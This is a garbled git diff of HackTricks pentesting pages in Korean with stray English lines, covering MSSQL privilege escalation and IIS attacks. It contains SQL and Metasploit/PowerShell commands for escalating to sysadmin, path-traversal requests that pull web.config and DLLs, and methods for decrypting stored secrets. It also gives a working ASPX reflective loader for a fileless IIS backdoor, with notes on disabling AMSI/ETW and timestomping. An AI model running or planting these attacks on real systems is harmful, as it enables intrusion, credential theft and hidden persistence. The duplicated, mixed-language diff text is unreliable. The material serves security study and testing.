명령 실행을 얻기 위한 다른 방법으로는 [확장 저장 프로시저](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR 어셈블리](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server 에이전트 작업](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), 및 [외부 스크립트](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)가 있습니다.
|
||||
명령 실행을 얻는 다른 방법으로는 [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), 및 [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) 등을 추가하는 것이 있다.
|
||||
|
||||
## MSSQL 권한 상승
|
||||
## MSSQL Privilege Escalation
|
||||
|
||||
### db_owner에서 sysadmin으로
|
||||
|
||||
**일반 사용자**가 **관리자** 사용자(예: **`sa`**)가 소유한 **데이터베이스**에 대해 **`db_owner`** 역할을 부여받고 해당 데이터베이스가 **`trustworthy`**로 구성된 경우, 해당 사용자는 **저장 프로시저**가 소유자(**관리자**)로서 **실행**될 수 있기 때문에 이러한 권한을 남용하여 **privesc**를 할 수 있습니다.
|
||||
만약 **일반 사용자**에게 **`db_owner`** 역할이 **관리자 소유 데이터베이스**(예: **`sa`**)에 대해 부여되고 그 데이터베이스가 **`trustworthy`**로 설정되어 있다면, 해당 사용자는 이러한 권한을 악용하여 **privesc**할 수 있다. 이는 해당 데이터베이스에 생성된 **stored procedures**가 소유자(**admin**)로서 **execute**될 수 있기 때문이다.
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -477,7 +510,7 @@ EXEC sp_elevate_me
|
||||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
당신은 **metasploit** 모듈을 사용할 수 있습니다:
|
||||
다음과 같은 **metasploit** 모듈을 사용할 수 있습니다:
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
@ -487,9 +520,9 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### 다른 사용자의 가장
|
||||
### 다른 사용자로 가장하기
|
||||
|
||||
SQL Server에는 **`IMPERSONATE`**라는 특별한 권한이 있으며, 이는 **실행 중인 사용자가 다른 사용자** 또는 로그인 권한을 **가져올 수 있게 해줍니다**. 이 권한은 컨텍스트가 재설정되거나 세션이 종료될 때까지 유효합니다.
|
||||
SQL Server에는 **`IMPERSONATE`**라는 특별 권한이 있으며, 이는 실행 사용자가 **다른 사용자 또는 로그인 권한을 대신 취득할 수 있게 합니다**. 이 상태는 컨텍스트가 재설정되거나 세션이 종료될 때까지 유지됩니다.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -510,9 +543,9 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!TIP]
|
||||
> 사용자를 가장할 수 있다면, 그가 sysadmin이 아니더라도, **사용자가 다른 데이터베이스**나 연결된 서버에 **접근할 수 있는지** 확인해야 합니다.
|
||||
> 사용자를 impersonate할 수 있다면, 그가 sysadmin이 아니더라도, 당신은 **사용자가 접근 권한이 있는지** 다른 **데이터베이스**나 linked servers를 확인해야 합니다.
|
||||
|
||||
sysadmin이 되면 다른 사용자를 가장할 수 있다는 점에 유의하세요:
|
||||
한번 sysadmin이 되면 다른 사용자를 impersonate할 수 있다는 점을 유의하세요:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -522,47 +555,49 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
이 공격은 **metasploit** 모듈을 사용하여 수행할 수 있습니다:
|
||||
이 공격은 **metasploit** 모듈로 수행할 수 있습니다:
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
또는 **PS** 스크립트를 사용하여:
|
||||
또는 **PS** 스크립트로:
|
||||
```bash
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||
```
|
||||
## MSSQL을 이용한 지속성 확보
|
||||
## MSSQL을 이용한 Persistence
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## SQL Server Linked Servers에서 비밀번호 추출하기
|
||||
## SQL Server Linked Servers에서 비밀번호 추출
|
||||
|
||||
공격자는 SQL 인스턴스에서 SQL Server Linked Servers 비밀번호를 추출하여 평문으로 얻을 수 있으며, 이를 통해 공격자는 대상에 대한 더 큰 발판을 확보할 수 있습니다. Linked Servers에 저장된 비밀번호를 추출하고 복호화하는 스크립트는 [여기](https://www.richardswinbank.net/admin/extract_linked_server_passwords)에서 찾을 수 있습니다.
|
||||
공격자는 SQL Instances에서 SQL Server Linked Servers 비밀번호를 추출하여 평문으로 얻을 수 있으며, 이는 대상에 대한 더 큰 foothold를 확보하는 데 사용할 수 있는 비밀번호를 제공합니다. Linked Servers에 저장된 비밀번호를 추출하고 복호화하는 스크립트는 [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)에서 확인할 수 있습니다.
|
||||
|
||||
이 익스플로잇이 작동하기 위해서는 몇 가지 요구 사항과 구성이 필요합니다. 우선, 해당 머신에서 관리자 권한이 있거나 SQL Server 구성을 관리할 수 있는 능력이 있어야 합니다.
|
||||
이 익스플로잇이 작동하려면 몇 가지 요구사항과 구성이 필요합니다. 무엇보다도 머신에 대한 Administrator 권한이 있거나 SQL Server Configurations을 관리할 수 있어야 합니다.
|
||||
|
||||
권한을 검증한 후, 다음 세 가지를 구성해야 합니다:
|
||||
권한을 확인한 후에는 다음 세 가지를 구성해야 합니다:
|
||||
|
||||
1. SQL Server 인스턴스에서 TCP/IP 활성화;
|
||||
2. 시작 매개변수 추가, 이 경우 -T7806이라는 추적 플래그가 추가됩니다.
|
||||
3. 원격 관리자 연결 활성화.
|
||||
1. SQL Server instances에서 TCP/IP 활성화;
|
||||
2. Start Up parameter 추가 — 이 경우 trace flag인 -T7806을 추가;
|
||||
3. remote admin connection 활성화.
|
||||
|
||||
이 구성을 자동화하기 위해 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에는 필요한 스크립트가 있습니다. 각 구성 단계에 대한 PowerShell 스크립트 외에도, 이 저장소에는 구성 스크립트와 비밀번호 추출 및 복호화를 결합한 전체 스크립트도 포함되어 있습니다.
|
||||
이 구성들을 자동화하기 위해, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에는 필요한 스크립트들이 포함되어 있습니다. 각 구성 단계마다 powershell script가 있고, 구성 스크립트와 비밀번호의 추출 및 복호화를 결합한 전체 스크립트도 저장소에 있습니다.
|
||||
|
||||
이 공격에 대한 추가 정보는 다음 링크를 참조하십시오: [MSSQL 데이터베이스 링크 서버 비밀번호 복호화](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
이 공격에 대한 추가 정보는 다음 링크들을 참조하세요: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server 전용 관리자 연결 문제 해결](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## 로컬 권한 상승
|
||||
## Local Privilege Escalation
|
||||
|
||||
MSSQL server를 실행하는 사용자는 privilege token **SeImpersonatePrivilege.**\
|
||||
다음 두 페이지 중 하나를 따라 **Administrator**로 권한을 상승시킬 수 있을 가능성이 높습니다:
|
||||
|
||||
MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토큰이 활성화되어 있습니다.\
|
||||
다음 두 페이지 중 하나를 따라 **관리자로 권한 상승**할 수 있을 것입니다:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
|
||||
{{#endref}}
|
||||
@ -571,7 +606,19 @@ MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토
|
||||
|
||||
- `port:1433 !HTTP`
|
||||
|
||||
## 참고 문헌
|
||||
## References
|
||||
|
||||
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
|
||||
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
@ -583,7 +630,7 @@ MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
## HackTricks 자동 명령
|
||||
## HackTricks 자동 명령들
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
테스트 실행 파일 확장자:
|
||||
테스트 가능한 실행 파일 확장자:
|
||||
|
||||
- asp
|
||||
- aspx
|
||||
@ -11,12 +11,12 @@
|
||||
|
||||
## 내부 IP 주소 노출
|
||||
|
||||
302 응답을 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해 볼 수 있으며, 응답 내의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:
|
||||
302를 반환하는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해 보세요. 응답의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
```
|
||||
내부 IP를 공개하는 응답:
|
||||
내부 IP를 노출하는 응답:
|
||||
```
|
||||
GET / HTTP/1.0
|
||||
|
||||
@ -29,11 +29,11 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## .config 파일 실행
|
||||
|
||||
.config 파일을 업로드하고 이를 사용하여 코드를 실행할 수 있습니다. 이를 수행하는 한 가지 방법은 HTML 주석 안에 파일 끝에 코드를 추가하는 것입니다: [여기에서 예제 다운로드](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
이 취약점을 악용하는 방법과 기술에 대한 더 많은 정보는 [여기](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)에서 확인할 수 있습니다.
|
||||
More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## IIS 발견 브루트포스
|
||||
## IIS Discovery Bruteforce
|
||||
|
||||
제가 만든 목록을 다운로드하세요:
|
||||
|
||||
@ -41,7 +41,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
다음 목록의 내용을 병합하여 생성되었습니다:
|
||||
다음 목록의 내용을 합쳐서 만들었습니다:
|
||||
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||||
@ -50,24 +50,24 @@ iisfinal.txt
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
확장자를 추가하지 않고 사용하세요. 필요한 파일은 이미 확장자가 있습니다.
|
||||
확장자를 추가하지 않고 사용하세요. 필요한 확장자는 이미 파일에 포함되어 있습니다.
|
||||
|
||||
## 경로 탐색
|
||||
## Path Traversal
|
||||
|
||||
### 소스 코드 유출
|
||||
### Leaking source code
|
||||
|
||||
전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
전체 설명은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\
|
||||
> **다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\
|
||||
> 또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.
|
||||
> [!TIP]
|
||||
> 요약하면, 애플리케이션 폴더 안에 여러 web.config 파일이 있으며 이 파일들에는 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 포함되어 있습니다. With this information it's possible to know **where are executables located** and download them.\
|
||||
> From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\
|
||||
> 또한 **connectionstrings.config** 및 **global.asax** 파일에 유용한 정보가 포함되어 있을 수 있습니다.
|
||||
|
||||
**.Net MVC 애플리케이션**에서 **web.config** 파일은 **"assemblyIdentity"** XML 태그를 통해 애플리케이션이 의존하는 각 이진 파일을 지정하는 중요한 역할을 합니다.
|
||||
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
|
||||
|
||||
### **이진 파일 탐색**
|
||||
|
||||
**web.config** 파일에 접근하는 예시는 아래와 같습니다:
|
||||
아래는 **web.config** 파일에 접근하는 예시입니다:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -75,38 +75,39 @@ Host: example-mvc-application.minded
|
||||
이 요청은 다음과 같은 다양한 설정 및 종속성을 드러냅니다:
|
||||
|
||||
- **EntityFramework** 버전
|
||||
- 웹페이지, 클라이언트 검증 및 JavaScript에 대한 **AppSettings**
|
||||
- 인증 및 런타임을 위한 **System.web** 구성
|
||||
- **AppSettings** (웹페이지, 클라이언트 검증 및 JavaScript용)
|
||||
- **System.web** (인증 및 런타임 구성)
|
||||
- **System.webServer** 모듈 설정
|
||||
- **Microsoft.Owin**, **Newtonsoft.Json**, 및 **System.Web.Mvc**와 같은 여러 라이브러리에 대한 **Runtime** 어셈블리 바인딩
|
||||
- **Runtime**의 어셈블리 바인딩(예: **Microsoft.Owin**, **Newtonsoft.Json**, **System.Web.Mvc** 등)
|
||||
|
||||
이 설정은 **/bin/WebGrease.dll**과 같은 특정 파일이 애플리케이션의 /bin 폴더 내에 위치하고 있음을 나타냅니다.
|
||||
이러한 설정은 **/bin/WebGrease.dll**와 같은 특정 파일들이 애플리케이션의 /bin 폴더에 위치해 있음을 나타냅니다.
|
||||
|
||||
### **루트 디렉토리 파일**
|
||||
### **루트 디렉터리 파일**
|
||||
|
||||
루트 디렉토리에서 발견된 파일, 예를 들어 **/global.asax** 및 민감한 비밀번호가 포함된 **/connectionstrings.config**는 애플리케이션의 구성 및 운영에 필수적입니다.
|
||||
루트 디렉터리에서 발견되는 **/global.asax** 및 **/connectionstrings.config**(민감한 비밀번호가 포함되어 있음)와 같은 파일들은 애플리케이션의 구성 및 운영에 필수적입니다.
|
||||
|
||||
### **네임스페이스 및 Web.Config**
|
||||
### **네임스페이스와 Web.Config**
|
||||
|
||||
MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 **web.config 파일**도 정의합니다. 이는 다른 **web.config**를 다운로드 요청하는 예로 보여집니다:
|
||||
MVC 애플리케이션은 또한 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대해 추가적인 **web.config 파일**을 정의합니다. 이는 다른 **web.config**를 다운로드하는 요청으로 확인됩니다:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **DLL 다운로드**
|
||||
### **DLLs 다운로드**
|
||||
|
||||
사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하라는 요청이 표시됩니다:
|
||||
사용자 지정 네임스페이스의 언급은 /bin 디렉토리에 위치한 **WebApplication1**라는 이름의 DLL이 있음을 시사합니다.
|
||||
이후 **WebApplication1.dll**을 다운로드하라는 요청이 표시됩니다:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
이것은 /bin 디렉토리에 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll**과 같은 다른 필수 DLL의 존재를 시사합니다.
|
||||
이는 /bin 디렉터리에 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll** 같은 다른 필수 DLL들이 존재함을 시사합니다.
|
||||
|
||||
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL인 **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.
|
||||
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 상황에서는, 공격자가 **/area-name/Views/** 같은 예측 가능한 경로에 다른 web.config 파일들이 존재할 수 있다고 추론할 수 있으며, 이들 파일에는 특정 설정과 /bin 폴더의 다른 DLL들에 대한 참조가 포함되어 있을 수 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 구성과 네임스페이스를 드러내어 다른 DLL인 **WebApplication1.AdditionalFeatures.dll**의 존재를 시사할 수 있습니다.
|
||||
|
||||
### 일반 파일
|
||||
|
||||
[여기](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)에서
|
||||
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
```
|
||||
C:\Apache\conf\httpd.conf
|
||||
C:\Apache\logs\access.log
|
||||
@ -185,63 +186,178 @@ C:\xampp\tomcat\conf\server.xml
|
||||
```
|
||||
## HTTPAPI 2.0 404 오류
|
||||
|
||||
다음과 같은 오류가 발생하면:
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
이는 서버가 Host header 안에서 **올바른 도메인 이름을 받지 못했다는 것**을 의미합니다.\
|
||||
웹 페이지에 접근하려면 제공된 **SSL 인증서**를 확인해서 도메인/서브도메인 이름을 찾을 수 있는지 확인하세요. 없다면 올바른 것을 찾을 때까지 **brute force VHosts**를 시도해야 할 수 있습니다.
|
||||
|
||||
서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\
|
||||
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 그 안에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다.
|
||||
## 암호화된 구성 및 ASP.NET Core Data Protection key rings 복호화
|
||||
|
||||
## 확인할 가치가 있는 오래된 IIS 취약점
|
||||
IIS에서 호스팅되는 .NET 앱의 비밀을 보호하기 위한 두 가지 일반적인 패턴은 다음과 같습니다:
|
||||
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config의 <connectionStrings> 같은 섹션용.
|
||||
- ASP.NET Core Data Protection key ring (persisted locally) — 애플리케이션 시크릿과 쿠키를 보호하는 데 사용됨.
|
||||
|
||||
### Microsoft IIS 물결 문자 “\~” 취약점/기능 – 짧은 파일/폴더 이름 노출
|
||||
웹 서버에 파일 시스템 또는 대화형 접근 권한이 있다면, 같은 위치에 있는 키로 복호화가 가능한 경우가 많습니다.
|
||||
|
||||
이 **기법**을 사용하여 발견된 모든 폴더 내에서 **폴더와 파일을 나열**해 볼 수 있습니다(기본 인증이 필요하더라도).\
|
||||
이 기법의 주요 제한 사항은 서버가 취약할 경우 **각 파일/폴더 이름의 첫 6글자와 파일 확장자의 첫 3글자만 찾을 수 있다는 것입니다.**
|
||||
- ASP.NET (Full Framework) – 보호된 구성 섹션을 aspnet_regiis로 복호화:
|
||||
```cmd
|
||||
# Decrypt a section by app path (site configured in IIS)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
|
||||
|
||||
이 취약점을 테스트하기 위해 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)를 사용할 수 있습니다:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
|
||||
```
|
||||
- ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like:
|
||||
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
|
||||
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
|
||||
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
|
||||
|
||||
With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.
|
||||
|
||||
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
|
||||
|
||||
The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.
|
||||
|
||||
Key building blocks
|
||||
- ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
|
||||
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
|
||||
- Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
|
||||
- Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
|
||||
- Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
|
||||
- Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.
|
||||
|
||||
Minimal ASPX loader pattern
|
||||
```aspx
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<%@ Import Namespace="System.IO.Compression" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
// 1) Obtain payload bytes (hard‑coded blob or from request)
|
||||
string b64 = /* hardcoded or Request["d"] */;
|
||||
byte[] blob = Convert.FromBase64String(b64);
|
||||
// optional: decrypt here if AES is used
|
||||
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
|
||||
using(var ms = new MemoryStream()){
|
||||
gz.CopyTo(ms);
|
||||
var asm = Assembly.Load(ms.ToArray());
|
||||
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
|
||||
var t = asm.GetType("ServerRun");
|
||||
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
|
||||
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
|
||||
m.Invoke(inst, new object[]{ HttpContext.Current });
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
